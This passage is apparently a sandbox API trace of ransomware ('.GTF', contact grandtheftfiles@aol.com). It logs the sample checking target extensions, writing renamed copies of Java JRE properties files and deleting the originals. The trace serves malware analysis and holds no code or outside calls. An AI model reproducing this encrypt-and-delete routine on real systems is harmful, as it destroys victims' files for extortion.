	[0156.242] lstrcmpiW (lpString1=".dbf", lpString2="data") returned -1
	[0156.242] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data") returned 52
	[0156.242] lstrlenW (lpString=".1cd") returned 4
	[0156.242] lstrcmpiW (lpString1=".1cd", lpString2="data") returned -1
	[0156.242] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data") returned 52
	[0156.242] lstrlenW (lpString=".jpg") returned 4
	[0156.242] lstrcmpiW (lpString1=".jpg", lpString2="data") returned -1
	[0156.242] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data") returned 52
	[0156.242] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data") returned 52
	[0156.242] lstrlenW (lpString=".doc") returned 4
	[0156.242] lstrcmpiW (lpString1=".doc", lpString2="data") returned -1
	[0156.242] lstrlenW (lpString=".docx") returned 5
	[0156.242] lstrcmpiW (lpString1=".docx", lpString2=".data") returned 1
	[0156.242] lstrlenW (lpString=".pdf") returned 4
	[0156.242] lstrcmpiW (lpString1=".pdf", lpString2="data") returned -1
	[0156.242] lstrlenW (lpString=".xls") returned 4
	[0156.242] lstrcmpiW (lpString1=".xls", lpString2="data") returned -1
	[0156.242] lstrlenW (lpString=".xlsx") returned 5
	[0156.242] lstrcmpiW (lpString1=".xlsx", lpString2=".data") returned 1
	[0156.242] lstrlenW (lpString=".ppt") returned 4
	[0156.243] lstrcmpiW (lpString1=".ppt", lpString2="data") returned -1
	[0156.243] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data") returned 52
	[0156.243] lstrlenW (lpString=".zip") returned 4
	[0156.243] lstrcmpiW (lpString1=".zip", lpString2="data") returned -1
	[0156.243] lstrlenW (lpString=".rar") returned 4
	[0156.243] lstrcmpiW (lpString1=".rar", lpString2="data") returned -1
	[0156.243] lstrlenW (lpString=".bz2") returned 4
	[0156.243] lstrcmpiW (lpString1=".bz2", lpString2="data") returned -1
	[0156.243] lstrlenW (lpString=".7z") returned 3
	[0156.243] lstrcmpiW (lpString1=".7z", lpString2="ata") returned -1
	[0156.243] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data") returned 52
	[0156.243] lstrlenW (lpString=".dbf") returned 4
	[0156.243] lstrcmpiW (lpString1=".dbf", lpString2="data") returned -1
	[0156.243] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data") returned 52
	[0156.243] lstrlenW (lpString=".1cd") returned 4
	[0156.243] lstrcmpiW (lpString1=".1cd", lpString2="data") returned -1
	[0156.243] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data") returned 52
	[0156.243] lstrlenW (lpString=".jpg") returned 4
	[0156.243] lstrcmpiW (lpString1=".jpg", lpString2="data") returned -1
	[0156.243] lstrcmpiW (lpString1=".properties", lpString2=".GTF") returned 1
	[0156.243] lstrlenW (lpString="messages_it.properties") returned 22
	[0156.243] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c
	[0156.244] GetFileSizeEx (in: hFile=0x42c, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=3223) returned 1
	[0156.244] CloseHandle (hObject=0x42c) returned 1
	[0156.244] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties")) returned 0x20
	[0156.244] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0156.244] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c
	[0156.244] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0156.244] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0156.244] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8
	[0156.245] GetLastError () returned 0x0
	[0156.245] ReadFile (in: hFile=0x42c, lpBuffer=0x3895020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesRead=0x2d4fecc*=0xc97, lpOverlapped=0x0) returned 1
	[0156.247] WriteFile (in: hFile=0x4a8, lpBuffer=0x3895020*, nNumberOfBytesToWrite=0xca0, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesWritten=0x2d4fc94*=0xca0, lpOverlapped=0x0) returned 1
	[0156.248] ReadFile (in: hFile=0x42c, lpBuffer=0x3895020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1
	[0156.248] WriteFile (in: hFile=0x4a8, lpBuffer=0x3895020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesWritten=0x2d4fc94*=0x100, lpOverlapped=0x0) returned 1
	[0156.248] SetEndOfFile (hFile=0x4a8) returned 1
	[0156.248] CloseHandle (hObject=0x4a8) returned 1
	[0156.248] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0156.248] SetEndOfFile (hFile=0x42c) returned 1
	[0156.251] CloseHandle (hObject=0x42c) returned 1
	[0156.251] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) returned 1
	[0156.251] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties")) returned 1
	[0156.252] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties") returned 68
	[0156.252] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties") returned 68
	[0156.252] lstrlenW (lpString=".doc") returned 4
	[0156.252] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1
	[0156.252] lstrlenW (lpString=".docx") returned 5
	[0156.252] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1
	[0156.252] lstrlenW (lpString=".pdf") returned 4
	[0156.252] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1
	[0156.252] lstrlenW (lpString=".xls") returned 4
	[0156.252] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1
	[0156.252] lstrlenW (lpString=".xlsx") returned 5
	[0156.252] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1
	[0156.252] lstrlenW (lpString=".ppt") returned 4
	[0156.252] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1
	[0156.252] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties") returned 68
	[0156.252] lstrlenW (lpString=".zip") returned 4
	[0156.252] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1
	[0156.252] lstrlenW (lpString=".rar") returned 4
	[0156.252] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1
	[0156.252] lstrlenW (lpString=".bz2") returned 4
	[0156.252] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1
	[0156.252] lstrlenW (lpString=".7z") returned 3
	[0156.252] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1
	[0156.252] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties") returned 68
	[0156.252] lstrlenW (lpString=".dbf") returned 4
	[0156.252] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1
	[0156.252] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties") returned 68
	[0156.252] lstrlenW (lpString=".1cd") returned 4
	[0156.252] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1
	[0156.252] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties") returned 68
	[0156.252] lstrlenW (lpString=".jpg") returned 4
	[0156.252] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1
	[0156.252] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties") returned 68
	[0156.252] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties") returned 68
	[0156.253] lstrlenW (lpString=".doc") returned 4
	[0156.253] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1
	[0156.253] lstrlenW (lpString=".docx") returned 5
	[0156.253] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1
	[0156.253] lstrlenW (lpString=".pdf") returned 4
	[0156.253] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1
	[0156.253] lstrlenW (lpString=".xls") returned 4
	[0156.253] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1
	[0156.253] lstrlenW (lpString=".xlsx") returned 5
	[0156.253] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1
	[0156.253] lstrlenW (lpString=".ppt") returned 4
	[0156.253] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1
	[0156.253] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties") returned 68
	[0156.253] lstrlenW (lpString=".zip") returned 4
	[0156.253] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1
	[0156.253] lstrlenW (lpString=".rar") returned 4
	[0156.253] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1
	[0156.253] lstrlenW (lpString=".bz2") returned 4
	[0156.253] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1
	[0156.253] lstrlenW (lpString=".7z") returned 3
	[0156.253] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1
	[0156.253] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties") returned 68
	[0156.253] lstrlenW (lpString=".dbf") returned 4
	[0156.253] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1
	[0156.253] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties") returned 68
	[0156.253] lstrlenW (lpString=".1cd") returned 4
	[0156.253] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1
	[0156.253] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties") returned 68
	[0156.253] lstrlenW (lpString=".jpg") returned 4
	[0156.253] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1
	[0156.253] lstrcmpiW (lpString1=".properties", lpString2=".GTF") returned 1
	[0156.253] lstrlenW (lpString="messages_ja.properties") returned 22
	[0156.254] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c
	[0156.255] GetFileSizeEx (in: hFile=0x42c, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=6349) returned 1
	[0156.255] CloseHandle (hObject=0x42c) returned 1
	[0156.255] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties")) returned 0x20
	[0156.255] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0156.255] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c
	[0156.255] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0156.255] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0156.255] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8
	[0156.256] GetLastError () returned 0x0
	[0156.256] ReadFile (in: hFile=0x42c, lpBuffer=0x3895020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesRead=0x2d4fecc*=0x18cd, lpOverlapped=0x0) returned 1
	[0156.258] WriteFile (in: hFile=0x4a8, lpBuffer=0x3895020*, nNumberOfBytesToWrite=0x18d0, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesWritten=0x2d4fc94*=0x18d0, lpOverlapped=0x0) returned 1
	[0156.260] ReadFile (in: hFile=0x42c, lpBuffer=0x3895020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1
	[0156.260] WriteFile (in: hFile=0x4a8, lpBuffer=0x3895020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesWritten=0x2d4fc94*=0x100, lpOverlapped=0x0) returned 1
	[0156.260] SetEndOfFile (hFile=0x4a8) returned 1
	[0156.260] CloseHandle (hObject=0x4a8) returned 1
	[0156.260] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0156.260] SetEndOfFile (hFile=0x42c) returned 1
	[0156.263] CloseHandle (hObject=0x42c) returned 1
	[0156.263] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) returned 1
	[0156.263] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties")) returned 1
	[0156.263] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties") returned 68
	[0156.263] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties") returned 68
	[0156.263] lstrlenW (lpString=".doc") returned 4
	[0156.263] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1
	[0156.263] lstrlenW (lpString=".docx") returned 5
	[0156.264] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1
	[0156.264] lstrlenW (lpString=".pdf") returned 4
	[0156.264] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1
	[0156.264] lstrlenW (lpString=".xls") returned 4
	[0156.264] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1
	[0156.264] lstrlenW (lpString=".xlsx") returned 5
	[0156.264] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1
	[0156.264] lstrlenW (lpString=".ppt") returned 4
	[0156.264] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1
	[0156.264] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties") returned 68
	[0156.264] lstrlenW (lpString=".zip") returned 4
	[0156.264] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1
	[0156.264] lstrlenW (lpString=".rar") returned 4
	[0156.264] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1
	[0156.264] lstrlenW (lpString=".bz2") returned 4
	[0156.264] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1
	[0156.264] lstrlenW (lpString=".7z") returned 3
	[0156.264] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1
	[0156.264] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties") returned 68
	[0156.264] lstrlenW (lpString=".dbf") returned 4
	[0156.264] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1
	[0156.264] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties") returned 68
	[0156.264] lstrlenW (lpString=".1cd") returned 4
	[0156.264] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1
	[0156.264] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties") returned 68
	[0156.264] lstrlenW (lpString=".jpg") returned 4
	[0156.264] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1
	[0156.264] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties") returned 68
	[0156.264] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties") returned 68
	[0156.264] lstrlenW (lpString=".doc") returned 4
	[0156.264] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1
	[0156.264] lstrlenW (lpString=".docx") returned 5
	[0156.264] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1
	[0156.264] lstrlenW (lpString=".pdf") returned 4
	[0156.264] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1
	[0156.264] lstrlenW (lpString=".xls") returned 4
	[0156.264] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1
	[0156.265] lstrlenW (lpString=".xlsx") returned 5
	[0156.265] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1
	[0156.265] lstrlenW (lpString=".ppt") returned 4
	[0156.265] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1
	[0156.265] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties") returned 68
	[0156.265] lstrlenW (lpString=".zip") returned 4
	[0156.265] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1
	[0156.265] lstrlenW (lpString=".rar") returned 4
	[0156.265] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1
	[0156.265] lstrlenW (lpString=".bz2") returned 4
	[0156.265] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1
	[0156.265] lstrlenW (lpString=".7z") returned 3
	[0156.265] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1
	[0156.265] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties") returned 68
	[0156.265] lstrlenW (lpString=".dbf") returned 4
	[0156.265] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1
	[0156.265] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties") returned 68
	[0156.265] lstrlenW (lpString=".1cd") returned 4
	[0156.265] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1
	[0156.265] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties") returned 68
	[0156.265] lstrlenW (lpString=".jpg") returned 4
	[0156.265] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1
	[0156.265] lstrcmpiW (lpString1=".properties", lpString2=".GTF") returned 1
	[0156.265] lstrlenW (lpString="messages_ko.properties") returned 22
	[0156.265] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c
	[0156.266] GetFileSizeEx (in: hFile=0x42c, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=5712) returned 1
	[0156.266] CloseHandle (hObject=0x42c) returned 1
	[0156.266] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties")) returned 0x20
	[0156.266] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0156.266] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c
	[0156.266] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0156.266] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0156.267] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8
	[0156.267] GetLastError () returned 0x0
	[0156.267] ReadFile (in: hFile=0x42c, lpBuffer=0x3895020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesRead=0x2d4fecc*=0x1650, lpOverlapped=0x0) returned 1
	[0156.269] WriteFile (in: hFile=0x4a8, lpBuffer=0x3895020*, nNumberOfBytesToWrite=0x1660, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesWritten=0x2d4fc94*=0x1660, lpOverlapped=0x0) returned 1
	[0156.270] ReadFile (in: hFile=0x42c, lpBuffer=0x3895020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1
	[0156.270] WriteFile (in: hFile=0x4a8, lpBuffer=0x3895020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesWritten=0x2d4fc94*=0x100, lpOverlapped=0x0) returned 1
	[0156.270] SetEndOfFile (hFile=0x4a8) returned 1
	[0156.270] CloseHandle (hObject=0x4a8) returned 1
	[0156.271] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0156.271] SetEndOfFile (hFile=0x42c) returned 1
	[0156.274] CloseHandle (hObject=0x42c) returned 1
	[0156.274] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) returned 1
	[0156.274] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties")) returned 1
	[0156.275] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties") returned 68
	[0156.275] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties") returned 68
	[0156.275] lstrlenW (lpString=".doc") returned 4
	[0156.275] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1
	[0156.275] lstrlenW (lpString=".docx") returned 5
	[0156.275] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1
	[0156.275] lstrlenW (lpString=".pdf") returned 4
	[0156.275] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1
	[0156.275] lstrlenW (lpString=".xls") returned 4
	[0156.275] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1
	[0156.275] lstrlenW (lpString=".xlsx") returned 5
	[0156.275] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1
	[0156.275] lstrlenW (lpString=".ppt") returned 4
	[0156.275] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1
	[0156.275] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties") returned 68
	[0156.275] lstrlenW (lpString=".zip") returned 4
	[0156.275] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1
	[0156.275] lstrlenW (lpString=".rar") returned 4
	[0156.275] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1
	[0156.275] lstrlenW (lpString=".bz2") returned 4
	[0156.275] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1
	[0156.275] lstrlenW (lpString=".7z") returned 3
	[0156.275] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1
	[0156.275] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties") returned 68
	[0156.275] lstrlenW (lpString=".dbf") returned 4
	[0156.275] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1
	[0156.275] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties") returned 68
	[0156.275] lstrlenW (lpString=".1cd") returned 4
	[0156.275] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1
	[0156.275] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties") returned 68
	[0156.275] lstrlenW (lpString=".jpg") returned 4
	[0156.275] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1
	[0156.275] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties") returned 68
